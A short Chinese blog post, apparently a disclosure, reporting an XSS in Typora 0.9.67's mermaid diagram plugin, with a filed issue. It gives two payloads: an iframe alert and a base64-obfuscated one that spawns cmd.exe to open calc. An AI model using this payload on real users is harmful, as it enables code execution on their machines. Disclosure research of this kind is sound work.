0x00
事情的起因是因为看到这两篇文章
看着感觉很有意思，本着玩下的心态进行黑盒测试，查看Typora帮助文档的时候发现有几个制作流程图的插件，没想到真找到了一个XSS的地方，已提交issue：https://github.com/typora/typora-issues/issues/2289
0x01
Tested On Windows 10
Version : 0.9.67
```mermaid
graph LR
id1["<iframe src=javascript:alert('xss')></iframe>"]
```
```mermaid
graph LR
id1["<iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>"]
```
